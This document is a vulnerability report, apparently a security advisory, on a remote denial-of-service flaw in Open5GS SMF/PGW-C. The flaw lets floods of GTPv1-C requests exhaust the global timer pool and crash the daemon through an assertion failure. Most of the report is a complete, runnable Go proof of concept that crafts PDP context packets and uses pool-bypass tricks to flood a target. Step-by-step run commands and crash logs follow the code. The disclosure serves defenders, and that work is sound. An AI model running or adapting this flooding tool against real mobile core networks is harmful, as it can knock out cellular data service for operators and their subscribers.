| Description | ### CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Description
SMF/PGW-C can be remotely crashed through GTPv1-C transaction flooding that exhausts the global timer pool.
When a large number of GTPv1-C requests are sent to SMF/PGW-C, SMF creates many “remote transactions”. Each transaction allocates multiple timers (tm_response, tm_holding, tm_peer) from the global timer pool. Once the timer pool is exhausted, ogs_pool_alloc() failed Immediately after that, transaction creation hits an assertion: ogs_gtp_xact_remote_create: Assertion 'xact->tm_holding' failed, causing denial-of-service.
### Steps to reproduce
1. Start a new go project inside a new folder: go mod init poc
2. Create a `main.go` and paste the code below:
```
// Vuln-PC1-16 PoC: GTPv1 Timer Pool Exhaustion (Bypass V2)
// Target: SMF (GTPv1-C Gn Interface)
//
// BYPASS STRATEGY V2:
// 1. Fixed local port → reuse single GTP node (bypass GTP node pool)
// 2. Same IMSI for all requests → reuse single UE (bypass UE pool)
// 3. Different sequence numbers → create new transactions
// 4. Each transaction allocates 3 timers from global timer pool
//
// Target assertions in ogs_gtp_xact_remote_create():
// - Line 195: ogs_assert(xact) - transaction pool
// - Line 207: ogs_assert(xact->tm_response) - timer pool
// - Line 214: ogs_assert(xact->tm_holding) - timer pool
// - Line 219: ogs_assert(xact->tm_peer) - timer pool
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"sync/atomic"
"time"
)
const (
GTP1_CREATE_PDP_CONTEXT_REQ = 16
GTP1_UPDATE_PDP_CONTEXT_REQ = 18
GTP1_DELETE_PDP_CONTEXT_REQ = 20
)
var (
target = flag.String("target", "", "Target SMF IP (required)")
port = flag.Int("port", 2123, "GTP-C port")
localPort = flag.Int("local-port", 12123, "Fixed local port")
count = flag.Int("count", 50000, "Number of requests")
batchSize = flag.Int("batch", 500, "Batch size")
batchDelay = flag.Duration("batch-delay", 10*time.Millisecond, "Delay between batches")
timeout = flag.Duration("timeout", 180*time.Second, "Total timeout")
mode = flag.String("mode", "update", "Attack mode: create, update, delete")
)
var sentCount int64
func main() {
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
fmt.Println("================================================================")
fmt.Println("Vuln-PC1-16 PoC: Timer Pool Exhaustion (BYPASS V2)")
fmt.Println("================================================================")
fmt.Printf("[*] Target: %s:%d\n", *target, *port)
fmt.Printf("[*] Fixed Local Port: %d (bypass GTP node pool)\n", *localPort)
fmt.Printf("[*] Request count: %d\n", *count)
fmt.Printf("[*] Mode: %s\n", *mode)
fmt.Println("[*] Strategy: Same IMSI → bypass UE pool → flood transactions")
fmt.Println("[*] Target: ogs_gtp_xact_remote_create assertions (lines 195/207/214/219)")
fmt.Println("----------------------------------------------------------------")
localAddr := &net.UDPAddr{IP: net.ParseIP("x.x.x.x"), Port: *localPort}
remoteAddr, _ := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *target, *port))
conn, err := net.DialUDP("udp", localAddr, remoteAddr)
if err != nil {
log.Fatalf("Connect failed: %v", err)
}
defer conn.Close()
fmt.Printf("[*] Connected from %s\n", conn.LocalAddr())
done := make(chan struct{})
go func() {
time.Sleep(*timeout)
close(done)
}()
go func() {
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
for {
select {
case <-done:
return
case <-ticker.C:
fmt.Printf("[*] Sent %d messages...\n", atomic.LoadInt64(&sentCount))
}
}
}()
startTime := time.Now()
batchCount := 0
// Fixed IMSI - reuse same UE for all requests
fixedIMSI := []byte{0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0xF0}
for i := 0; i < *count; i++ {
select {
case <-done:
goto finish
default:
}
seq := uint16(i % 65535)
var msg []byte
switch *mode {
case "create":
msg = buildCreatePDP(seq, fixedIMSI, i)
case "update":
// Update requests to existing session - creates new transaction
msg = buildUpdatePDP(seq, uint32(0x12345678))
case "delete":
msg = buildDeletePDP(seq, uint32(0x12345678))
default:
msg = buildUpdatePDP(seq, uint32(0x12345678))
}
_, err := conn.Write(msg)
if err != nil {
log.Printf("[!] Write error: %v", err)
break
}
atomic.AddInt64(&sentCount, 1)
batchCount++
if batchCount >= *batchSize {
batchCount = 0
if *batchDelay > 0 {
time.Sleep(*batchDelay)
}
}
}
finish:
elapsed := time.Since(startTime)
total := atomic.LoadInt64(&sentCount)
fmt.Println("----------------------------------------------------------------")
fmt.Printf("[+] Completed in %v, sent %d messages (%.0f/sec)\n",
elapsed, total, float64(total)/elapsed.Seconds())
fmt.Println("[*] Check: docker inspect smf --format='{{.State.Status}}'")
fmt.Println("[*] Check: docker logs smf --tail 100 2>&1 | grep -E 'assert|SIGABRT|xact'")
}
func buildGTPv1Header(msgType uint8, teid uint32, seq uint16, payloadLen uint16) []byte {
h := make([]byte, 12)
h[0] = 0x32
h[1] = msgType
binary.BigEndian.PutUint16(h[2:4], payloadLen+4)
binary.BigEndian.PutUint32(h[4:8], teid)
binary.BigEndian.PutUint16(h[8:10], seq)
return h
}
func buildCreatePDP(seq uint16, imsi []byte, index int) []byte {
p := make([]byte, 0, 150)
// IMSI (fixed - same UE)
p = append(p, 2)
p = append(p, imsi...)
// Selection Mode
p = append(p, 15, 0xFC)
// TEID Data I (unique per request to create new bearer)
p = append(p, 16)
t := make([]byte, 4)
binary.BigEndian.PutUint32(t, uint32(0x10000000+index))
p = append(p, t...)
// TEID Control (unique)
p = append(p, 17)
binary.BigEndian.PutUint32(t, uint32(0x20000000+index))
p = append(p, t...)
// NSAPI (cycle through 5-15)
p = append(p, 20, byte(5+(index%11)))
// End User Address
p = append(p, 128, 0x00, 0x02, 0xF1, 0x21)
// APN
apn := "internet"
p = append(p, 131, 0x00, byte(len(apn)+1), byte(len(apn)))
p = append(p, []byte(apn)...)
// SGSN addresses
p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1)
p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1)
// MSISDN
p = append(p, 134, 0x00, 0x07, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
// QoS
p = append(p, 135, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
// RAT Type
p = append(p, 151, 0x00, 0x01, 0x06)
h := buildGTPv1Header(GTP1_CREATE_PDP_CONTEXT_REQ, 0, seq, uint16(len(p)))
return append(h, p...)
}
func buildUpdatePDP(seq uint16, teid uint32) []byte {
p := make([]byte, 0, 50)
// TEID Data I
p = append(p, 16)
t := make([]byte, 4)
binary.BigEndian.PutUint32(t, 0x30000000+uint32(seq))
p = append(p, t...)
// TEID Control
p = append(p, 17)
binary.BigEndian.PutUint32(t, 0x40000000+uint32(seq))
p = append(p, t...)
// NSAPI
p = append(p, 20, 5)
// SGSN address
p = append(p, 133, 0x00, 0x04, 192, 168, 100, 1)
// QoS
p = append(p, 135, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
h := buildGTPv1Header(GTP1_UPDATE_PDP_CONTEXT_REQ, teid, seq, uint16(len(p)))
return append(h, p...)
}
func buildDeletePDP(seq uint16, teid uint32) []byte {
p := make([]byte, 0, 10)
// NSAPI
p = append(p, 20, 5)
// Teardown Ind
p = append(p, 19, 0xFF)
h := buildGTPv1Header(GTP1_DELETE_PDP_CONTEXT_REQ, teid, seq, uint16(len(p)))
return append(h, p...)
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SMF/PGW-C server address: `go run ./main.go --target x.x.x.x --count 30000 --batch 1000 \
--batch-delay 5ms --timeout 90s --mode create`
### Logs
SMF
```shell
01/02 17:35:54.558: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84)
01/02 17:35:54.558: [gtp] FATAL: ogs_gtp_xact_remote_create: Assertion `xact->tm_holding' failed. (../lib/gtp/xact.c:214)
01/02 17:35:54.558: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogsgtp.so.2(+0x1aacf) [0x7e0cd0120acf]
/usr/local/lib/libogsgtp.so.2(ogs_gtp1_xact_receive+0x4e4) [0x7e0cd01241fd]
open5gs-smfd(+0x26990) [0x6146a922e990]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7e0cd100843f]
open5gs-smfd(+0x105a7) [0x6146a92185a7]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7e0cd0ff89a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7e0ccff13ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7e0ccffa4a74
```
### Expected behaviour
When timer pool (or other critical pools) is exhausted, SMF/PGW-C should gracefully reject/drop new transactions:
return error response if applicable, or silently drop with warning,
### Observed Behaviour
When SMF/PGW-C receiving a burst of GTPv1-C requests,it triggers:
ogs_pool_alloc() failure in timer allocation
ogs_assert(xact->tm_holding) in ogs_gtp_xact_remote_create, causing DoS
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|